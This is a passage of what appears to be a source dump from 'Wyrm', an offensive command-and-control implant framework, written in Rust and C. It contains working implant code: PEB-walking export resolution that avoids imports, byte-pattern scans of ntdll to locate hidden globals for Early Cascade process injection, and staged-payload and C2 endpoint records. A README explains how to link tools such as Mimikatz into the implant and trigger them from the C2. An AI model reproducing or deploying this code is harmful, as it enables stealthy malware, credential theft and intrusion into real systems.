MitreTTP::from(\n                \"T1027\",\n                None,\n                \"Obfuscated Files or Information\",\n                \"https://attack.mitre.org/techniques/T1027/\",\n            ),\n            Command::Inject => MitreTTP::from(\n                \"T1055\",\n                None,\n                \"Process Injection\",\n                \"https://attack.mitre.org/techniques/T1055/\",\n            ),\n        }\n    }\n}\n\n#[derive(Serialize)]\npub struct TaskExport<'a> {\n    task: &'a Task,\n    mitre: MitreTTP<'a>,\n}\n\nimpl<'a> TaskExport<'a> {\n    pub fn new(task: &'a Task, mitre: MitreTTP<'a>) -> Self {\n        Self { task, mitre }\n    }\n}\n\n#[derive(Debug, Clone, Default, Serialize, Deserialize, FromRow)]\npub struct StagedResourceData {\n    pub agent_name: String,\n    pub c2_endpoint: String,\n    pub staged_endpoint: String,\n    pub pe_name: String,\n    pub sleep_time: i64,\n    pub port: i16,\n    pub num_downloads: i64,\n}\n"
  },
  {
    "path": "shared_no_std/Cargo.toml",
    "content": "[package]\nname = \"shared_no_std\"\nversion = \"0.1.0\"\nedition = \"2024\"\n\n[dependencies]\nwindows-sys = {version = \"0.61\", features = [\n    \"Win32\",\n    \"Win32_Foundation\",\n    \"Win32_System_ProcessStatus\",\n    \"Win32_System_SystemInformation\",\n    \"Win32_System_SystemServices\",\n    \"Win32_System_Services\",\n    \"Win32_System_Memory\",\n    \"Win32_System_Threading\", \n]}"
  },
  {
    "path": "shared_no_std/src/export_resolver.rs",
    "content": "//! Export resolver is a local copy of my https://github.com/0xflux/PE-Export-Resolver crate.\n//! Currently the module cannot depend on certain windows crate, so some FFI may have to be\n//! adjusted by hand in this module. Doing so should also reduce the overall binary size.\n\nuse core::{\n    arch::asm,\n    ffi::CStr,\n    ffi::c_void,\n    mem::transmute,\n    ops::Add,\n    ptr::{null_mut, read_unaligned},\n    slice::from_raw_parts,\n};\n\nuse windows_sys::Win32::System::{\n    Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER},\n    SystemServices::{\n        IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_SIGNATURE,\n    },\n};\n\npub enum ExportResolveError {\n    TargetFunctionNotFound,\n    ModuleNotFound,\n    MagicByteMismatch,\n    FnNameNotUtf8,\n}\n\n/// Get the base address of a specified module. Obtains the base address by reading from the TEB -> PEB ->\n/// PEB_LDR_DATA -> InMemoryOrderModuleList -> InMemoryOrderLinks -> DllBase\n///\n/// Returns the DLL base address as a Option<usize>\n#[allow(unused_variables)]\n#[allow(unused_assignments)]\n#[inline(always)]\nfn get_module_base(module_name: &str) -> Option<usize> {\n    let mut peb: usize;\n    let mut ldr: usize;\n    let mut in_memory_order_module_list: usize;\n    let mut current_entry: usize;\n\n    unsafe {\n        // get the peb and module list\n        asm!(\n            \"mov {peb}, gs:[0x60]\",\n            \"mov {ldr}, [{peb} + 0x18]\",\n            \"mov {in_memory_order_module_list}, [{ldr} + 0x10]\", // points to the Flink\n            peb = out(reg) peb,\n            ldr = out(reg) ldr,\n            in_memory_order_module_list = out(reg) in_memory_order_module_list,\n        );\n\n        // set the current entry to the head of the list\n        current_entry = in_memory_order_module_list;\n\n        // iterate the modules searching for\n        loop {\n            // get the attributes we are after of the current entry\n            let dll_base = read_unaligned(current_entry.add(0x30) as *const usize);\n            let module_name_address = read_unaligned(current_entry.add(0x60) as *const usize);\n            let module_length = read_unaligned(current_entry.add(0x58) as *const u16);\n\n            // check if the module name address is valid and not zero\n            if module_name_address != 0 && module_length > 0 {\n                // read the module name from memory\n                let dll_name_slice = from_raw_parts(\n                    module_name_address as *const u16,\n                    (module_length / 2) as usize,\n                );\n\n                let mut buf = [0u8; 256];\n                let mut buf_len = 0;\n\n                // do we have a match on the module name?\n                for i in 0..(module_length / 2) as usize {\n                    if i >= 256 {\n                        break;\n                    }\n\n                    let wide_char = dll_name_slice[i];\n                    buf[i] = (wide_char & 0xFF) as u8;\n                    buf_len = i + 1;\n\n                    if wide_char == 0 {\n                        break;\n                    }\n                }\n\n                if strings_equal_ignore_case(&buf[..buf_len], module_name.as_bytes()) {\n                    return Some(dll_base);\n                }\n            } else {\n                return None;\n            }\n\n            // dereference current_entry which contains the value of the next LDR_DATA_TABLE_ENTRY (specifically a pointer to LIST_ENTRY\n            // within the next LDR_DATA_TABLE_ENTRY)\n            current_entry = *(current_entry as *const usize);\n\n            // If we have looped back to the start, break\n            if current_entry == in_memory_order_module_list {\n                return None;\n            }\n        }\n    }\n}\n\n#[inline(always)]\nfn to_lowercase_ascii(c: u8) -> u8 {\n    if c >= b'A' && c <= b'Z' { c + 32 } else { c }\n}\n\n#[inline(always)]\nfn strings_equal_ignore_case(a: &[u8], b: &[u8]) -> bool {\n    if a.len() != b.len() {\n        return false;\n    }\n\n    for i in 0..a.len() {\n        let char_a = to_lowercase_ascii(a[i]);\n        let char_b = to_lowercase_ascii(b[i]);\n\n        if char_a != char_b {\n            return false;\n        }\n    }\n\n    true\n}\n\n/// Get the function address of a function in a specified DLL from the DLL Base.\n///\n/// # Parameters\n/// * dll_name -> the name of the DLL / module you are wanting to query\n/// * needle -> the function name (case sensitive) of the function you are looking for\n///\n/// # Returns\n/// Option<*const c_void> -> the function address as a pointer\n#[inline(always)]\npub fn resolve_address(\n    dll_name: &str,\n    needle: &str,\n    dll_base: Option<usize>,\n) -> Result<*const c_void, ExportResolveError> {\n    // if the dll_base was already found from a previous search then use that\n    // otherwise, if it was None, make a call to get_module_base\n    let dll_base: *mut c_void = match dll_base {\n        Some(base) => base as *mut c_void,\n        None => match get_module_base(dll_name) {\n            Some(a) => a as *mut c_void,\n            None => {\n                return Err(ExportResolveError::ModuleNotFound);\n            }\n        },\n    };\n\n    // check we match the DOS header, cast as pointer to tell the compiler to treat the memory\n    // address as if it were a IMAGE_DOS_HEADER structure\n    let dos_header: IMAGE_DOS_HEADER =\n        unsafe { read_unaligned(dll_base as *const IMAGE_DOS_HEADER) };\n    if dos_header.e_magic != IMAGE_DOS_SIGNATURE {\n        return Err(ExportResolveError::MagicByteMismatch);\n    }\n\n    // check the NT headers\n    let nt_headers = unsafe {\n        read_unaligned(dll_base.offset(dos_header.e_lfanew as isize) as *const IMAGE_NT_HEADERS64)\n    };\n    if nt_headers.Signature != IMAGE_NT_SIGNATURE {\n        return Err(ExportResolveError::MagicByteMismatch);\n    }\n\n    // get the export directory\n    // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory\n    // found from first item in the DataDirectory; then we take the structure in memory at dll_base + RVA\n    let export_dir_rva = nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress;\n    let export_offset = unsafe { dll_base.add(export_dir_rva as usize) };\n    let export_dir: IMAGE_EXPORT_DIRECTORY =\n        unsafe { read_unaligned(export_offset as *const IMAGE_EXPORT_DIRECTORY) };\n\n    // get the addresses we need\n    let address_of_functions_rva = export_dir.AddressOfFunctions as usize;\n    let address_of_names_rva = export_dir.AddressOfNames as usize;\n    let ordinals_rva = export_dir.AddressOfNameOrdinals as usize;\n\n    let functions = unsafe { dll_base.add(address_of_functions_rva as usize) } as *const u32;\n    let names = unsafe { dll_base.add(address_of_names_rva as usize) } as *const u32;\n    let ordinals = unsafe { dll_base.add(ordinals_rva as usize) } as *const u16;\n\n    // get the amount of names to iterate over\n    let number_of_names = export_dir.NumberOfNames;\n\n    for i in 0..number_of_names {\n        // calculate the RVA of the function name\n        let name_rva = unsafe { *names.offset(i.try_into().unwrap()) as usize };\n        // actual memory address of the function name\n        let name_addr = unsafe { dll_base.add(name_rva) };\n\n        // read the function name\n        let function_name = unsafe {\n            let char = name_addr as *const u8;\n            let mut len = 0;\n            // iterate over the memory until a null terminator is found\n            while *char.add(len) != 0 {\n                len += 1;\n            }\n\n            core::slice::from_raw_parts(char, len)\n        };\n\n        let function_name = core::str::from_utf8(function_name).unwrap_or_default();\n        if function_name.is_empty() {\n            return Err(ExportResolveError::FnNameNotUtf8);\n        }\n\n        // if we have a match on our function name\n        if function_name.eq(needle) {\n            // calculate the RVA of the function address\n            let ordinal = unsafe { *ordinals.offset(i.try_into().unwrap()) as usize };\n            let fn_rva = unsafe { *functions.add(ordinal) as usize };\n            // actual memory address of the function address\n            let fn_addr = unsafe { dll_base.add(fn_rva) } as *const c_void;\n\n            return Ok(fn_addr);\n        }\n    }\n\n    Err(ExportResolveError::TargetFunctionNotFound)\n}\n\n#[inline(always)]\nfn get_rva<T>(base_ptr: *mut u8, offset: usize) -> *mut T {\n    (base_ptr as usize + offset) as *mut T\n}\n\n#[inline(always)]\npub fn find_export_address(\n    base: *mut c_void,\n    nt: *mut IMAGE_NT_HEADERS64,\n    name: &str,\n) -> Option<unsafe extern \"system\" fn()> {\n    unsafe {\n        let dir = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize];\n        if dir.VirtualAddress == 0 || dir.Size == 0 {\n            return None;\n        }\n\n        let exp_dir: *mut IMAGE_EXPORT_DIRECTORY = get_rva(base as _, dir.VirtualAddress as usize);\n\n        if exp_dir.is_null() {\n            return None;\n        }\n\n        let exp = read_unaligned(exp_dir);\n\n        let names: *const u32 = get_rva(base as _, exp.AddressOfNames as usize);\n        let funcs: *const u32 = get_rva(base as _, exp.AddressOfFunctions as usize);\n        let ords: *const u16 = get_rva(base as _, exp.AddressOfNameOrdinals as usize);\n\n        //\n        // Iterate over the exported names searching for the exported function\n        //\n        for i in 0..exp.NumberOfNames {\n            let name_rva = read_unaligned(names.add(i as usize)) as usize;\n            let name_ptr = get_rva::<u8>(base as _, name_rva);\n            let export_name = CStr::from_ptr(name_ptr as _).to_str().ok();\n            if export_name == Some(name) {\n                let ord_index = read_unaligned(ords.add(i as usize)) as usize;\n                let func_rva = read_unaligned(funcs.add(ord_index)) as usize;\n                let func_ptr = get_rva::<u8>(base as _, func_rva) as usize;\n                return Some(transmute::<usize, unsafe extern \"system\" fn()>(func_ptr));\n            }\n        }\n\n        // Did not find exported function\n        None\n    }\n}\n\n/// Convert an RVA from the PE into a pointer inside a buffer which came from a file - NOT correctly mapped / relocated memory.\n#[inline(always)]\nunsafe fn rva_from_file<T>(\n    file_base: *const u8,\n    nt: *const IMAGE_NT_HEADERS64,\n    rva: u32,\n) -> *mut T {\n    let num_sections = unsafe { *nt }.FileHeader.NumberOfSections as usize;\n\n    let first_section = unsafe { (nt as *const u8).add(size_of::<IMAGE_NT_HEADERS64>()) }\n        as *const IMAGE_SECTION_HEADER;\n\n    for i in 0..num_sections {\n        let sec = unsafe { &*first_section.add(i) };\n\n        let va = sec.VirtualAddress;\n        let raw = sec.PointerToRawData;\n        let size = if sec.SizeOfRawData != 0 {\n            sec.SizeOfRawData\n        } else {\n            unsafe { sec.Misc.VirtualSize }\n        };\n\n        if rva >= va && rva < va + size {\n            let delta = rva - va;\n            let file_off = raw + delta;\n            return unsafe { file_base.add(file_off as usize) } as *mut T;\n        }\n    }\n\n    null_mut()\n}\n\npub enum ExportError {\n    ImageTooSmall,\n    ImageUnaligned,\n    ExportNotFound,\n    BadImageDelta,\n}\n\n#[inline(always)]\npub fn find_export_from_unmapped_file(\n    file_base: &[u8],\n    name: &str,\n) -> Result<unsafe extern \"system\" fn(), ExportError> {\n    // Check we are being safe\n    if file_base.len() < size_of::<IMAGE_DOS_HEADER>() {\n        return Err(ExportError::ImageTooSmall);\n    }\n\n    let file_base = file_base.as_ptr();\n\n    let dos = unsafe { read_unaligned(file_base as *const IMAGE_DOS_HEADER) };\n    let nt = unsafe { file_base.add(dos.e_lfanew as usize) } as *mut IMAGE_NT_HEADERS64;\n\n    unsafe {\n        let dir = (*nt).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize];\n        if dir.VirtualAddress == 0 || dir.Size == 0 {\n            return Err(ExportError::ImageUnaligned);\n        }\n\n        let exp_dir: *mut IMAGE_EXPORT_DIRECTORY = rva_from_file(file_base, nt, dir.VirtualAddress);\n\n        if exp_dir.is_null() {\n            return Err(ExportError::ImageUnaligned);\n        }\n\n        let exp = read_unaligned(exp_dir);\n\n        let names: *const u32 = rva_from_file(file_base, nt, exp.AddressOfNames);\n        let funcs: *const u32 = rva_from_file(file_base, nt, exp.AddressOfFunctions);\n        let ords: *const u16 = rva_from_file(file_base, nt, exp.AddressOfNameOrdinals);\n\n        if names.is_null() || funcs.is_null() || ords.is_null() {\n            return Err(ExportError::ImageUnaligned);\n        }\n\n        for i in 0..exp.NumberOfNames {\n            let name_rva = read_unaligned(names.add(i as usize));\n            let name_ptr = rva_from_file::<u8>(file_base, nt, name_rva);\n\n            if name_ptr.is_null() {\n                continue;\n            }\n\n            let export_name = CStr::from_ptr(name_ptr as *const i8).to_str().ok();\n            if export_name == Some(name) {\n                let ord_index = read_unaligned(ords.add(i as usize)) as usize;\n                let func_rva = read_unaligned(funcs.add(ord_index)) as u32;\n                let func_ptr = rva_from_file::<u8>(file_base, nt, func_rva) as usize;\n\n                return Ok(transmute::<usize, unsafe extern \"system\" fn()>(func_ptr));\n            }\n        }\n\n        Err(ExportError::ExportNotFound)\n    }\n}\n\npub fn calculate_memory_delta(buf_start_address: usize, fn_ptr_address: usize) -> Option<usize> {\n    let res = fn_ptr_address.saturating_sub(buf_start_address);\n\n    if res == 0 {\n        return None;\n    }\n\n    Some(res)\n}\n\npub fn find_entrypoint_from_unmapped_image(\n    buf: &[u8],\n    p_alloc: *const c_void,\n    export_name: &str,\n) -> Result<*const c_void, ExportError> {\n    match find_export_from_unmapped_file(buf, export_name) {\n        Ok(p) => {\n            let Some(addr) = calculate_memory_delta(buf.as_ptr() as usize, p as usize) else {\n                return Err(ExportError::BadImageDelta);\n            };\n            let addr_calculated = unsafe { p_alloc.add(addr) };\n            Ok(addr_calculated)\n        }\n        Err(e) => return Err(e),\n    }\n}\n"
  },
  {
    "path": "shared_no_std/src/lib.rs",
    "content": "#![no_std]\n\npub mod export_resolver;\npub mod memory;\n"
  },
  {
    "path": "shared_no_std/src/memory.rs",
    "content": "use core::{ffi::c_void, ptr::read_unaligned, slice::from_raw_parts};\n\nuse crate::export_resolver;\n\n/// Byte pattern found from disassembling ntdll to hunt for the mapped address of g_pfnSE_DllLoaded,\n/// a non-exported global variable in ntdll.\n/// https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/\n#[rustfmt::skip]\nconst G_PFNSE_DLLLOADED_PATTERN: &[u8] = &[\n    0x48, 0x8b, 0x3d, 0xd0, 0xc3, 0x12, 0x00,   // mov  rdi, qword ptr [ntdll!g_pfnSE_DllLoaded (############)]\n    0x83, 0xe0, 0x3f,                           // and  eax, 3Fh\n    0x44, 0x2b, 0xe0,                           // sub  r12d, eax\n    0x8b, 0xc2,                                 // mov  eax, edx\n    0x41, 0x8a, 0xcc                            // mov  cl, r12b\n];\n\n/// Byte pattern found from disassembling ntdll to hunt for the mapped address of g_ShimsEnabled,\n/// a non-exported global variable in ntdll.\n/// https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/\n#[rustfmt::skip]\nconst G_SHIMS_ENABLED_PATTERN: &[u8] = &[\n    0xe8, 0x33, 0x38, 0xf5, 0xff,               // call ntdll!RtlEnterCriticalSection (7ff9ddead780)\n    0x44, 0x38, 0x2d, 0xe4, 0x84, 0x11, 0x00,   // cmp  byte ptr [ntdll!g_ShimsEnabled (7ff9de072438)], r13b\n    0x48, 0x8d, 0x35, 0x95, 0x89, 0x11, 0x00,   // lea  rsi, [ntdll!PebLdr+0x10 (7ff9de0728f0)]\n];\n\npub enum ShimErrors {\n    NtdllNotFound(u32),\n    GetModuleInformationFailed(u32),\n    ExternDllLoadedNotFound,\n    ExternShimsEnabledNotFound,\n    ExternLdrLoadShimNotFound,\n}\n\n#[inline(always)]\npub fn locate_shim_pointers() -> Result<EarlyCascadePointers, ShimErrors> {\n    const MAX_TEXT_SECTION_SEARCH: usize = 1_500_000;\n\n    //\n    // Take a function at the beginning of the .text section and scan through a reasonable search number until we hopefully reach our selected\n    // bytes..\n    //\n    let Ok(approx_ntdll_base) =\n        export_resolver::resolve_address(\"ntdll.dll\", \"RtlCompareString\", None)\n    else {\n        return Err(ShimErrors::ExternLdrLoadShimNotFound);\n    };\n\n    // Get the address of the .text section containing the machine code for loading the value at\n    // g_pfnSE_DllLoaded\n    let Ok(p_text_g_pfnse_dll_loaded) = scan_module_for_byte_pattern(\n        approx_ntdll_base,\n        MAX_TEXT_SECTION_SEARCH,\n        G_PFNSE_DLLLOADED_PATTERN,\n    ) else {\n        return Err(ShimErrors::ExternDllLoadedNotFound);\n    };\n\n    // Now get the actual address\n    let p_g_pfnse_dll_loaded = unsafe {\n        const INSTRUCTION_LEN: isize = 7;\n\n        // Offset by 3 bytes to get the imm, and read the imm as a 4 byte value\n        let offset = read_unaligned((p_text_g_pfnse_dll_loaded as *const u8).add(3) as *const i32);\n        let offset = offset as isize + INSTRUCTION_LEN;\n\n        (p_text_g_pfnse_dll_loaded as isize + offset) as *mut c_void\n    };\n\n    //\n    // Do the same for g_ShimsEnabled\n    //\n    let Ok(p_text_shims_enabled) = scan_module_for_byte_pattern(\n        approx_ntdll_base,\n        MAX_TEXT_SECTION_SEARCH,\n        G_SHIMS_ENABLED_PATTERN,\n    ) else {\n        return Err(ShimErrors::ExternShimsEnabledNotFound);\n    };\n\n    let p_g_shims_enabled = unsafe {\n        const OFFSET_FROM_PATTERN: usize = 5;\n        const OFFSET_IMM: usize = 3;\n        const INSTRUCTION_LEN: isize = 7;\n\n        // Offset by 3 bytes to get the imm, and read the imm as a 4 byte value\n        let offset = read_unaligned(\n            (p_text_shims_enabled as *const u8).add(OFFSET_FROM_PATTERN + OFFSET_IMM) as *const i32,\n        );\n        let offset = offset as isize + INSTRUCTION_LEN;\n\n        (p_text_shims_enabled as isize + offset + OFFSET_FROM_PATTERN as isize) as *mut u8\n    };\n\n    Ok(EarlyCascadePointers {\n        p_g_pfnse_dll_loaded,\n        p_g_shims_enabled,\n    })\n}\n\npub struct EarlyCascadePointers {\n    pub p_g_pfnse_dll_loaded: *mut c_void,\n    /// Bool (single byte according to the disasm - byte ptr)\n    pub p_g_shims_enabled: *mut u8,\n}\n\n/// Scan a loaded module for a particular sequence of bytes, this will most commonly be used to resolve a pointer to\n/// an unexported function we wish to use.\n///\n/// # Args\n/// - `image_base`: The base address of the image you wish to search\n/// - `image_size`: The total size of the image to search\n/// - `pattern`: A byte slice containing the bytes you wish to search for\n///\n/// # Returns\n/// - `ok`: The address of the start of the pattern match\n/// - `err`: An empty error signifying the pattern was not found.\n#[inline(always)]\npub fn scan_module_for_byte_pattern(\n    image_base: *const c_void,\n    image_size: usize,\n    pattern: &[u8],\n) -> Result<*const c_void, ()> {\n    // Convert the raw address pointer to a byte pointer so we can read individual bytes\n    let image_base = image_base as *const u8;\n    let mut cursor = image_base as *const u8;\n    // End of image denotes the end of our reads, if nothing is found by that point we have not found the\n    // sequence of bytes\n    let end_of_image = unsafe { image_base.add(image_size) };\n\n    while cursor != end_of_image {\n        unsafe {\n            let bytes = from_raw_parts(cursor, pattern.len());\n\n            if bytes == pattern {\n                return Ok(cursor as *const _);\n            }\n\n            cursor = cursor.add(1);\n        }\n    }\n\n    Err(())\n}\n"
  },
  {
    "path": "wofs_static/Readme.md",
    "content": "# Static WOFs\n\nWOFs (Wyrm Object Files) are small, self-contained code modules that are baked into the implant at compile time.\nThey're intended for pulling in existing tooling (e.g. Mimikatz, custom helpers) or for writing one-off \nroutines in C/C++ (and pre-built Rust/Zig object files).\n\nStatic WOFs are not DLLs and do not need to be position-independent; they are compiled and linked directly into \nthe Wyrm implant as normal object files.\n\nAt the moment there is no formal 'Wyrm API' exposed to WOFs beyond a simple FFI entrypoint. They just run as regular \ncode inside the process. A richer API can be added later if there is demand for it.\n\n**Note**: If you wish anything to be printed to the terminal and to have that visible in the C2, you must write to\n`STD_OUTPUT_HANDLE`. See an example below. **Warning**: Failing to do this correctly could result in output going to the\n(hidden) console window of the agent.\n\nPrinting items to the terminal as per the above paragraph is currently the only way to return data / results to the \noperator.\n\n## Safety note\n\nGenerally, WOF's are memory safe to use in a freestanding Wyrm process loaded by the loader. However, when using this in processes\nwhich are spawned via non-traditional techniques (for example, early cascade injection) using anything which depends on the C Runtime\nis considered unsafe and not recommended. It is my advice to avoid things like printf, malloc, etc, in favour of using linkable Windows API\nroutines.\n\nIn early/atypical execution contexts, CRT-dependent calls can fail because the CRT's per-thread/per-process state may not be \ninitialised for the current thread.\n\nFor example (see below), instead of `printf` use `WriteFile`. Instead of `malloc` call `HeapAlloc`. Etc.\n\nIn Rust, you are free to use **any** function within the core library, seeing as it is freestanding with no requirement on a runtime, incidently\nmaking Rust more expressive to write WOFs. See below examples.\n\n## Where WOFs live\n\nAll static WOFs are placed under the `wofs_static` directory in the repository. Each top level subdirectory under `wofs_static` \nis treated as a separate WOF module.\n\n### Example layout:\n\n```\nwofs_static/\n    1/\n        main_inc.c\n        main_inc.h\n        main.c\n    2/\n        main.c\n        print_fn.c\n        sub/\n            my_header.h\n    3/\n        rust.o\n    Readme.md\n```\n\nYou can name these folders whatever you like in a real profile:\n\n- mimikatz\n- crypto_helpers\n- screenshooter\n- etc.\n\nThe numbers (1, 2, 3) above are just an example.\n\n## Writing a WOF in C/C++\n\nA minimal example in wofs_static/2 might look like:\n\n`sub/my_header.h`\n\n- Defines any shared prototypes.\n- Includes `<windows.h>` and any other headers you need.\n\n`print_fn.c`\n\n- Implements helper routines, e.g. write_console(char *msg) that writes to `STD_OUTPUT_HANDLE`.\n\n`main.c`\n\n- Implements the actual WOF entrypoint function that you want Wyrm to call.\n\nYou may wish to implement `main.c` as:\n\n```C\n#include \"sub/my_header.h\"\n\nvoid ffi_two() {\n    char* wof_msg = \"Hello from WOF\\0\";\n    write_console(wof_msg);\n\n    MessageBoxA(\n        0,\n        wof_msg,\n        wof_msg,\n        MB_OK\n    );\n\n    return 0;\n}\n```\n\nAnd `print_fn.c` as:\n\n```C\n#include \"sub/my_header.h\"\n\nvoid write_console(char* msg) {\n    HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);\n    DWORD written;\n    WriteFile(h, msg, (DWORD)strlen(msg), &written, 0);\n}\n```\n\nAnd so on..\n\n## Passing arguments to a WOF\n\nStatic WOFs can take a single string argument from the C2. From the operator’s point of view, the syntax looks like:\n\nWith an argument: `wof my_function \"Hello from WOF\"`\n\nWithout an argument: `wof my_function`\n\nThis will allow you to pass some data into your entrypoint - this could be a good way to build a small glue like parser\nfor another tool - for example, if you wish to bundle tool x, but tool x takes command line arguments, you can \nslightly modify the code to accept some input instead. You can parse this as whatever you like, albeit a string,\nor interpret those bytes as another type.\n\nThe Wyrm C2 will automatically append a null byte to the end of your input, so please do not worry about doing that\nyourself.\n\nExample usage for C (also applicable with Rust, etc):\n\n```C\nint my_function(char* msg) {\n    int result = MessageBoxA(\n        0,\n        msg,\n        msg,\n        MB_OK\n    );\n\n    test(msg);\n\n    return result;\n}\n```\n\n## Using pre-built objects (e.g. Rust, Zig)\n\nYou don't have to use C or C++ directly. You can:\n\n- Compile a Rust (or other language) project to an object file targeting `x86_64-pc-windows-msvc`.\n- Drop the resulting `.obj` / `.o` file into a WOF folder under `wofs_static`.\n\nThe build script will detect these `.o` / `.obj` files via the same directory walk and treat them as additional object inputs.\n\n### Building in Rust\n\nTo build in rust, you want to make sure you are operating in a `no_std` environment and that your crate is a lib,\nspecifically in your toml:\n\n```toml\n[lib]\ncrate-type = [\"staticlib\"]\n```\n\nYour library then implements your chosen behaviour, and you need at least one linkable symbol (via `pub extern \"system\" fn`), \nfor example:\n\n```rust\n#![no_std]\n#![no_main]\n\nuse core::ptr::null_mut;\n\nuse windows_sys::Win32::UI::WindowsAndMessaging::{MB_OK, MessageBoxA};\n\n#[cfg_attr(not(test), panic_handler)]\n#[allow(unused)]\nfn panic(_info: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n\n#[unsafe(no_mangle)]\npub extern \"system\" fn rust_bof() -> u32 {\n    let msg = \"rust bof\\0\";\n    unsafe {\n        MessageBoxA(null_mut(), msg.as_ptr(), msg.as_ptr(), MB_OK);\n    }\n\n    0\n}\n```\n\nNote that you can include external crates as normal; but they **must be no-std compliant**. If you want to interact\nwith the Windows API easily, I would recommend the [windows_sys](https://crates.io/crates/windows-sys) crate.\n\nYou can then compile this to a .o file:\n\n```shell\ncargo rustc --lib --target x86_64-pc-windows-msvc --release -- --emit=obj -C codegen-units=1\n```\n\nAnd now you can move the output `.o` file into `wofs_static` under a directory name for it to link up to your profile \ntoml on the C2.\n\n### More Rust examples\n\nAnother few examples here showcase using the core library which is freestanding, with some llvm intrinsics, and these examples\nshow using the pointer in the WOF function:\n\n```Rust\n#![no_std]\n#![no_main]\n\nuse core::{ffi::CStr, ptr::null_mut};\n\nuse windows_sys::Win32::UI::WindowsAndMessaging::{MB_OK, MessageBoxA};\n\n#[cfg_attr(not(test), panic_handler)]\n#[allow(unused)]\nfn panic(_info: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n\n#[unsafe(no_mangle)]\npub extern \"system\" fn msg_box_checked(user_input: *const u8) -> u32 {\n\n    if !user_input.is_null() {\n        let safe_input = unsafe { CStr::from_ptr(user_input as _) };\n        \n        unsafe {\n            MessageBoxA(null_mut(), safe_input.as_ptr() as _, safe_input.as_ptr() as _, MB_OK);\n        }\n\n    }\n\n    0\n}\n\n#[unsafe(no_mangle)]\npub extern \"system\" fn msg_box_unchecked(user_input: *const u8) -> u32 {\n\n    if !user_input.is_null() {       \n        unsafe {\n            MessageBoxA(null_mut(), user_input, user_input, MB_OK);\n        }\n\n    }\n\n    0\n}\n```\n\n## Wiring WOFs via a profile\n\nFrom the `C2/profiles` side you don't manually set WOF.\nInstead, you configure a list of WOF folders, and the C2 translates that into the appropriate environment variable before compiling the implant.\n\nExample:\n\n- `wofs = [\"mimikatz\"]`\n\nor:\n\n- `wofs = [\"mimikatz\", \"crypto_helpers\", \"screenshotter\"]`\n\nEach entry corresponds to a folder under wofs_static:\n\n- `wofs_static/mimikatz`\n- `wofs_static/crypto_helpers`\n- `wofs_static/screenshotter`\n\nThese modules are then statically linked into Wyrm at compile time.\n\n## Executing WOFs from the C2\n\nOnce compiled into the implant, WOFs can be triggered from the C2 via the `wof` command.\n\nThe command takes the module name (i.e. the folder name you configured in the profile). The agent uses its internal \nWOF metadata to resolve and invoke the appropriate entrypoint function from that module.\n\nExample (using the earlier naming):\n\n```shell\nwof mimikatz\n```\n\nThe exact behaviour (which symbol is used as the entrypoint, additional arguments, etc.) is controlled by the implant's WOF \nexecution logic, but from the operator's perspective you only need to remember:\n\n- Add your code under `wofs_static/<name>`.\n- Reference `<name>` in the profile's wofs list.\n- Use `wof <name>` from the C2 to execute it."
  }
]